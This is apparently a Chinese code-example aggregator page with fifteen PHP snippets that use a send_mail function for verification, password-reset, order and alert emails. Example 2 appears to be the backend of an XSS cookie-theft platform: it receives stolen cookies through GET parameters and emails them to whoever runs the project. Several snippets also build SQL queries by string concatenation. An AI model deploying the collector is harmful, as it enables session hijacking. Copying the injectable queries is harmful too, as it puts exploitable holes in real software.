本文整理汇总了PHP中send_mail函数的典型用法代码示例。如果您正苦于以下问题:PHP send_mail函数的具体用法?PHP send_mail怎么用?PHP send_mail使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了send_mail函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: my_member_validate
function my_member_validate($uid, $email, $role_id = '', $new = 0, $check_allow = 1)
{
if (1 > ($uid = (int) $uid)) {
return false;
}
if (!($email = trim($email))) {
return false;
}
$sys_config = jconf::get();
if ($new == 0 && !$sys_config['reg_email_verify']) {
return false;
}
if ($check_allow && jdisallow($uid)) {
return false;
}
$sql = "select * from `" . TABLE_PREFIX . "member_validate` where `uid`='{$uid}' order by `regdate` asc";
$query = DB::query($sql);
$data = array();
if (DB::num_rows($query) > 0) {
DB::query("delete from `" . TABLE_PREFIX . "member_validate` where `uid`='{$uid}'");
}
$data['uid'] = $uid;
$data['email'] = $email;
$data['role_id'] = (int) ($role_id > 0 ? $role_id : $sys_config['normal_default_role_id']);
$data['key'] = substr(md5(md5($uid . $email . $role_id) . md5(uniqid(mt_rand(), true))), 3, 16);
$data['status'] = $data['verify_time'] = '0';
$data['regdate'] = TIMESTAMP;
$data['type'] = 'email';
jtable('member_validate')->insert($data);
$email_message = "您好:\r\n您收到此邮件是因为在 {$sys_config['site_url']} 用户注册中使用了该 Email,\r\n如果您没有进行上述操作,请忽略这封邮件。\r\n------------------------------------------------------\r\n帐号激活说明:\r\n为避免垃圾邮件或您的Email地址被滥用,我们需要对您的email有效性进行验证,\r\n您只需点击下面的链接即可激活您的帐号,并享有真正会员权限:\r\n{$sys_config['site_url']}/index.php?mod=member&code=verify&uid={$data['uid']}&key={$data['key']}&from=reg\r\n\r\n(如果上面不是链接形式,请将地址手工粘贴到浏览器地址栏再访问)\r\n感谢您的访问,祝您使用愉快!\r\n\r\n此致,\r\n{$sys_config['site_name']} 管理团队.\r\n";
$send_result = send_mail($email, " [{$sys_config['site_name']}]Email地址验证", $email_message, $sys_config['site_name'], $sys_config['site_admin_email'], array(), 3, false);
return $send_result;
}
示例2: info
function info()
{
$bid = intval($_GET['bid']);
extract($_GET, EXTR_SKIP);
if ($bid) {
$info = new InfoModel($bid);
$info->set(htmlentities($title), htmlentities($url), htmlentities($cookie));
$browser = new BrowserModel();
$data = $browser->fetch_first("*", array("bid" => $bid));
$uid = M("Project")->fetch_first("uid", array("pid" => $data['pid']));
$email = M("User")->fetch_first("email", array("uid" => $uid['uid']));
$email = $email['email'];
if ($url && $cookie && $data['active'] == 0) {
$browser->login($bid);
$title = "[" . date("Y-m-d H:i:s", time()) . "] 亲爱的" . $_COOKIE['xing_name'] . ": 您要的cookie到了";
$content = "\r\n 开门 您的cookie到了 </br>\r\n url:{$url} </br>\r\n cookie:{$cookie} </br>\r\n 具体请见" . SITE_ROOT . "包邮哦 亲 !!!! ";
if ($email) {
if (SAE) {
// sae 发送邮件
send_sae_mail($email, $title, $content);
} else {
send_mail($email, $title, $content);
}
}
}
}
}
示例3: send_mail_order
function send_mail_order()
{
global $conn;
global $adminEmail;
$cust = $_SESSION['cust'];
$name = $cust['name'];
$address = $cust['address'];
$tel = $cust['tel'];
$email = $cust['email'];
$dathang = "";
$cart = $_SESSION['cart'];
$tongcong = 0;
$cnt = 0;
foreach ($cart as $product) {
$sql = "select * from tbl_product where id='" . $product[0] . "'";
$result = mysql_query($sql, $conn);
$pro = mysql_fetch_assoc($result);
$dathang .= "Ma san pham : " . $pro['code'] . "<br>";
$dathang .= "Ten san pham : " . $pro['name'] . "<br>";
$dathang .= "So luong : " . $product[1] . "<br>";
$dathang .= "Don gia : " . number_format($pro['price'], 0, ',', '.') . " " . "\$" . "<br>";
$dathang .= "Thanh tien : " . $pro['price'] * $product[1] . " " . "\$<br><br>";
$tongcong = $tongcong + $pro['price'] * $product[1] . " " . "\$";
$cnt = $cnt + 1;
}
$dathang .= "<hr>Tong cong : " . number_format($tongcong, 0, ',', '.') . " " . "\$<br>";
$m2 = send_mail($email, $adminEmail, "Thong tin dat hang cua : " . $name, "Ho ten : " . $name . "<br>Dia chi : " . $address . "<br>Dien thoai : " . $tel . "<br>Email : " . $email . "<BR><hr><b>Don hang :</b><br>" . $dathang);
if (m2) {
return "";
} else {
return "Không thể gửi thông tin !.";
}
}
示例4: Send_notice
function Send_notice($mail_to, $at_content = '', $pm_content = '', $reply_content = '')
{
$mail_subject = "{$GLOBALS['_J']['config'][site_name]}邮件提醒";
$mail_content = $at_content . '<br />' . $pm_content . '<br />' . $reply_content;
$send_result = send_mail($mail_to, $mail_subject, $mail_content, array(), 3, false);
return $send_result;
}
示例5: perform
function perform($edit = array())
{
$fields = array();
if (validate_nonblank($edit['username'])) {
$fields['username'] = $edit['username'];
}
if (validate_nonblank($edit['email'])) {
$fields['email'] = $edit['email'];
}
if (count($fields) < 1) {
error_exit("You must supply at least one of username or email address");
}
/* Now, try and find the user */
$user = Person::load($fields);
/* Now, we either have one or zero users. Regardless, we'll present
* the user with the same output; that prevents them from using this
* to guess valid usernames.
*/
if ($user) {
/* Generate a password */
$pass = generate_password();
$user->set_password($pass);
if (!$user->save()) {
error_exit("Error setting password");
}
/* And fire off an email */
$rc = send_mail($user, false, false, _person_mail_text('password_reset_subject', array('%site' => variable_get('app_name', 'Leaguerunner'))), _person_mail_text('password_reset_body', array('%fullname' => "{$user->firstname} {$user->lastname}", '%username' => $user->username, '%password' => $pass, '%site' => variable_get('app_name', 'Leaguerunner'))));
if ($rc == false) {
error_exit("System was unable to send email to that user. Please contact system administrator.");
}
}
}
示例6: syslog_sendemail
function syslog_sendemail($to, $from, $subject, $message, $smsmessage)
{
if (syslog_check_dependencies()) {
syslog_debug("Sending Alert email to '" . $to . "'");
$sms = "";
$nonsms = "";
/* if there are SMS emails, process separately */
if (substr_count($to, "sms@")) {
$emails = explode(",", $to);
if (sizeof($emails)) {
foreach ($emails as $email) {
if (substr_count($email, "sms@")) {
$sms .= (strlen($sms) ? ", " : "") . str_replace("sms@", "", trim($email));
} else {
$nonsms .= (strlen($nonsms) ? ", " : "") . trim($email);
}
}
}
} else {
$nonsms = $to;
}
if (strlen($sms)) {
send_mail($sms, $from, $subject, $smsmessage);
}
if (strlen($nonsms)) {
if (read_config_option("syslog_html") == "on") {
send_mail($nonsms, $from, $subject, $message, 'html_please');
} else {
send_mail($nonsms, $from, $subject, $message);
}
}
} else {
syslog_debug("Could not send alert, you are missing the Settings plugin");
}
}
示例7: sendtestmail
public function sendtestmail()
{
// $result=send_mail(array(
// 'to'=>'735579768@qq.com',
// 'toname'=>'赵克立',
// 'subject'=>'邮件主题',//主题标题
// 'fromname'=>'我是赵克立你好哦',//发件人
// 'body'=>'邮件成功'.date('Y/m/d H:i:s'),//邮件内容
// //'attachment'=>'E:\SVN\frame\DataBak\20141126-003119-1.sql.gz'
//
// ));
$conf = array('host' => C('MAIL_SMTP_HOST'), 'port' => C('MAIL_SMTP_PORT'), 'username' => C('MAIL_SMTP_USER'), 'password' => C('MAIL_SMTP_PASS'), 'fromemail' => C('MAIL_SMTP_FROMEMAIL'), 'to' => C('MAIL_SMTP_TESTEMAIL'), 'toname' => C('MAIL_SMTP_TESTEMAIL'), 'subject' => C('MAIL_SMTP_EMAILSUBJECT'), 'fromname' => C('MAIL_SMTP_FROMNAME'), 'body' => C('MAIL_SMTP_CE'));
$sendmaillock = S('sendmaillock');
if (empty($sendmaillock)) {
$result = send_mail($conf);
if ($result === true) {
//设置邮件锁60秒后才可以再发送
S('sendmaillock', true, 60);
$this->success('邮件发送成功');
} else {
$this->error($result);
}
} else {
$this->error('请60秒后再发送');
}
}
示例8: errorhandler
function errorhandler($errno, $errstr, $errfile, $errline)
{
global $baseurl,$pagename, $show_report_bug_link,$email_errors;
if (!error_reporting()) {return true;}
if (!isset($pagename) || $pagename!="upload_java")
{
?>
</select></table></table></table>
<div style="border:1px solid black;font-family:verdana,arial,helvetica;position:absolute;top:100px;left:100px; background-color:white;width:400px;padding:20px;border-bottom-width:4px;border-right-width:4px;font-size:15px;color:black;">
<table cellpadding=5 cellspacing=0><tr><td valign=middle><img src="<?php echo $baseurl?>/pages/admin/gfx/cherrybomb.gif" width="48" height="48"></td><td valign=middle align=left><span style="font-size:22px;">Sorry, an error has occurred.</span></td></tr></table>
<p style="font-size:11px;color:black;margin-top:20px;">Please <a href="#" onClick="history.go(-1)">go back</a> and try something else.</p>
<?php global $show_error_messages; if ($show_error_messages) { ?>
<p style="font-size:11px;color:black;">You can <a href="<?php echo $baseurl?>/pages/check.php">check</a> your installation configuration.</p>
<hr style="margin-top:20px;"><p style="font-size:11px;color:black;"><?php echo htmlspecialchars("$errfile line $errline: $errstr"); ?></p>
<?php } ?>
</div>
<?php
if ($email_errors){
global $email_notify,$email_from,$email_errors_address,$applicationname;
if ($email_errors_address==""){$email_errors_address=$email_notify;}
send_mail($email_errors_address,$applicationname." Error",$errfile." line ".$errline.": ".$errstr,$email_from,$email_from,"",null,"Error Reporting",false);
}
exit();
}
else
{
# Special error message format for Java uploader, so the error is correctly displayer
exit("ERROR: Error processing file\\n\\n $errfile line $errline\\n$errstr");
}
}
示例9: forgetProcess
private function forgetProcess()
{
$forgetForm = new AdvertiseForgetForm();
$forgetForm->attributes = $_POST['AdvertiseForgetForm'];
if ($forgetForm->validate()) {
$email = trim($forgetForm->email);
//kiem tra email co ton tai hay khong
$query = "SELECT * FROM {{" . $this->_table . "}} WHERE email = :email AND is_advertiser = 1 LIMIT 1";
$values = array(':email' => $email);
$row = $this->db->createCommand($query)->bindValues($values)->queryRow();
if (empty($row)) {
Yii::app()->session['forget_error'] = 'Email không tồn tại, vui lòng kiểm tra lại hoặc liên hệ với BQT để được giúp đỡ.';
} else {
//tao link reset va gui vao mail cho nguoi dung
$time_out = strtotime('+1 day');
$base46 = $row['id'] . '<>' . $row['email'] . '<>' . $time_out;
$url = $this->createAbsoluteUrl('login/resetpassword', array('id' => base64_encode($base46)));
$data = array();
$data['user'] = $row;
$data['url'] = $url;
$data['time_out'] = $time_out;
$html = $this->renderPartial('reset_password_mail', array('data' => $data), true);
send_mail(null, $row['email'], 'Lấy lại mật khẩu', $html, array(), $fromName = 'RateApp', $mail_server = 1, $attachment = '');
Yii::app()->session['forget_success'] = 'Hệ thống đã gửi email hướng dẫn tạo mật khẩu mới, vui lòng kiểm tra email của bạn';
}
}
return $forgetForm;
}
示例10: send_link_mail
function send_link_mail($mailer, $url, $app, $ver, $msg, $mail, $udid, $token)
{
$body = $msg . PHP_EOL . "Click on following link to get started: ";
$url .= '?token=' . $token . '&udid=' . $udid;
$subject = 'RunThisApp invitation to test ' . $app . ' v' . $ver;
return send_mail($mailer, $body, $url, $subject, $mail);
}
示例11: HookAction_datesPagestoolscron_copy_hitcountAddplugincronjob
function HookAction_datesPagestoolscron_copy_hitcountAddplugincronjob()
{
global $lang, $action_dates_restrictfield, $action_dates_deletefield, $resource_deletion_state, $action_dates_reallydelete, $action_dates_email_admin_days, $email_notify, $email_from, $applicationname;
$allowable_fields = sql_array("select ref as value from resource_type_field where type in (4,6,10)");
# Check that this is a valid date field to use
if (in_array($action_dates_restrictfield, $allowable_fields)) {
$restrict_resources = sql_query("select resource, value from resource_data where resource_type_field = '{$action_dates_restrictfield}'");
$emailrefs = array();
foreach ($restrict_resources as $resource) {
$ref = $resource["resource"];
if ($action_dates_email_admin_days != "") {
$action_dates_email_admin_seconds = intval($action_dates_email_admin_days) * 60 * 60 * 24;
if (time() >= strtotime($resource["value"]) - $action_dates_email_admin_seconds && time() <= strtotime($resource["value"]) - $action_dates_email_admin_seconds + 86400) {
$emailrefs[] = $ref;
}
}
if (time() >= strtotime($resource["value"])) {
# Restrict access to the resource as date has been reached
$existing_access = sql_value("select access as value from resource where ref='{$ref}'", "");
if ($existing_access == 0) {
echo "restricting resource " . $ref . "\r\n";
sql_query("update resource set access=1 where ref='{$ref}'");
resource_log($ref, 'a', '', $lang['action_dates_restrict_logtext'], $existing_access, 1);
}
}
}
if (count($emailrefs) > 0) {
global $baseurl;
# Send email as the date is within the specified number of days
$subject = $lang['action_dates_email_subject'];
$message = str_replace("%%DAYS", $action_dates_email_admin_days, $lang['action_dates_email_text']) . "\r\n";
$message .= $baseurl . "?r=" . implode("\r\n" . $baseurl . "?r=", $emailrefs) . "\r\n";
$templatevars['message'] = $message;
echo "Sending email to " . $email_notify . "\r\n";
send_mail($email_notify, $subject, $message, $applicationname, $email_from, "emailexpiredresources", $templatevars, $applicationname);
}
}
if (in_array($action_dates_deletefield, $allowable_fields)) {
$delete_resources = sql_query("select resource, value from resource_data where resource_type_field = '{$action_dates_deletefield}'");
foreach ($delete_resources as $resource) {
$ref = $resource["resource"];
if (time() >= strtotime($resource["value"])) {
# Delete the resource as date has been reached
echo "deleting resource " . $ref . "\r\n";
if ($action_dates_reallydelete) {
delete_resource($ref);
} else {
if (!isset($resource_deletion_state)) {
$resource_deletion_state = 3;
}
sql_query("update resource set archive='" . $resource_deletion_state . "' where ref='" . $ref . "'");
}
# Remove the resource from any collections
sql_query("delete from collection_resource where resource='{$ref}'");
resource_log($ref, 'x', '', $lang['action_dates_delete_logtext']);
}
}
}
}
示例12: send_remind
function send_remind($snt, $msg)
{
$mail = get_email_conf();
$emails = array_map(function ($id) {
return get_member_email($id);
}, $snt["who"]);
send_mail('plain', $mail["from"], $emails, 'Show & Tell Order Remind', $msg);
}
示例13: generate_report
function generate_report($server_cfg, $game_cfg, $timestamp, $period)
{
$report = build_report($server_cfg, $game_cfg, $period, $timestamp);
if ($report === null) {
return null;
}
send_mail($server_cfg, $game_cfg, $report);
}
示例14: send_mail
function send_mail()
{
$result = send_mail(array('to' => '735579768@qq.com', 'subject' => '邮件主题', 'fromname' => '我是赵克立你好哦'));
if ($result === true) {
echo '发送成功';
} else {
echo $result;
}
}
示例15: createMember
/**
* 用户添加,并且发送激活邮件
* @return boolean
*/
public function createMember()
{
$captcha = new \Think\Verify();
$code = I('post.checkcode');
if ($captcha->check($code)) {
$this->data['password'] = my_mcrypt($this->data['password'], $this->data['salt']);
//发送邮件
$address = $this->data['email'];
$subject = '你还差一步就成功了';
$username = $this->data['username'];
$rand = my_mcrypt($username, $this->data['salt']);
$url = U('Member/activation', array('username' => $username, 'rand' => $rand), true, true);
$content = <<<mail
<div id="mailContentContainer" class="qmbox qm_con_body_content"><div style="background:#f4f4f4; padding:35px">
<div style="max-width:600px; margin: 20px auto; color:#333333; box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); -webkit-box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); -moz-box-shadow: 0px 0px 12px rgba(0, 0, 0, 0.5); background-color: #ffffff;border: 1px solid #bbbbbb;">
<div style="border-bottom: 32px solid #348cd6;">
<h1 style="margin: 0; padding: 2px 12px 0px"><a href="http://www.shop.com" target="_blank"><img src="http://t0.qlogo.cn/mbloghead/ee5db3775cb4887dee3e/100" style="height:34px;padding:0;margin:0;border:0;"></a></h1>
</div>
<div style="padding:0px 18px 8px; border-bottom: 2px solid #348cd6;">
<h4 style="font-size: 14px;margin:18px auto;line-height: 2;font-weight: bold;">亲爱的<span style="color: #348cd6;">{$username}</span> ,您好!感谢 使用仙人跳服务!</h4>
<p style="line-height: 1.7;"><span>请点击下面的激活链接,完成账号的激活操作。</span> <span style="font-weight:bold;"><a href="{$url}">{$url}</a></span></p>
<p style="font-size: 12px; color: #999; margin: 24px 0px 2px;">(如果您认为这封邮件和您无关,您可以直接忽略它)</p>
<div style="border-top:1px solid #e2e2e2;">
<div style="background-color: #f3f3f2;margin: 14px 0px;text-indent: 2em;">
<p style="padding: 2px 6px; color: 8c8b8b; font-size: 12px; line-height: 1.66;">仙人跳文化传播有限公司,传播网络正能量,给你人生添色彩!</p>
</div>
</div>
</div>
</div>
</div>
<br><br><div style="width:1px;height:0px;overflow:hidden"><img style="width:0;height:0" src="javascript:;"></div>
<div style="text-align:center"><div style="border-top:1px solid #ddd;width: 600px;display:inline-block;padding:10px"><a style="display:inline-block;background:#ddd;border-radius:4px;padding: 3px 15px;color:#a6a6a6;text-decoration:none;font-size:12px" href="http://scu.sohu.com/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogMjg0OTgsICJ0YXNrX2lkIjogIiIsICJlbWFpbF9pZCI6ICIxNDQ5ODk2MDc0NDUwXzI4NDk4XzE3NDgxXzYyNzcuc2MtMTBfMTBfMjRfMTQyLWluYm91bmQwJGt1bngtZWR1QHFxLmNvbSIsICJzaWduIjogImFmNTI3ZWE5ZTZhNWI0MmFhNjk5YTE2ZmUwZmI0Y2E2IiwgInVzZXJfaGVhZGVycyI6IHt9LCAibGFiZWwiOiAwLCAicmVjZWl2ZXIiOiAia3VueC1lZHVAcXEuY29tIiwgImNhdGVnb3J5X2lkIjogOTExMzd9" target="_blank">点击这里取消订阅</a></div></div>
<style type="text/css">.qmbox style, .qmbox script, .qmbox head, .qmbox link, .qmbox meta {display: none !important;}</style></div>
mail;
if (!$this->add()) {
$this->error = '用户创建失败';
return false;
}
$data = array('username' => $username, 'rand' => $rand);
if (!M('MemberActivation')->add($data)) {
$this->error = '验证串保存失败';
return false;
}
if (!send_mail($address, $subject, $content)) {
$this->error = '邮件发送失败';
return false;
}
return true;
} else {
$this->error = '验证码不正确';
return false;
}
}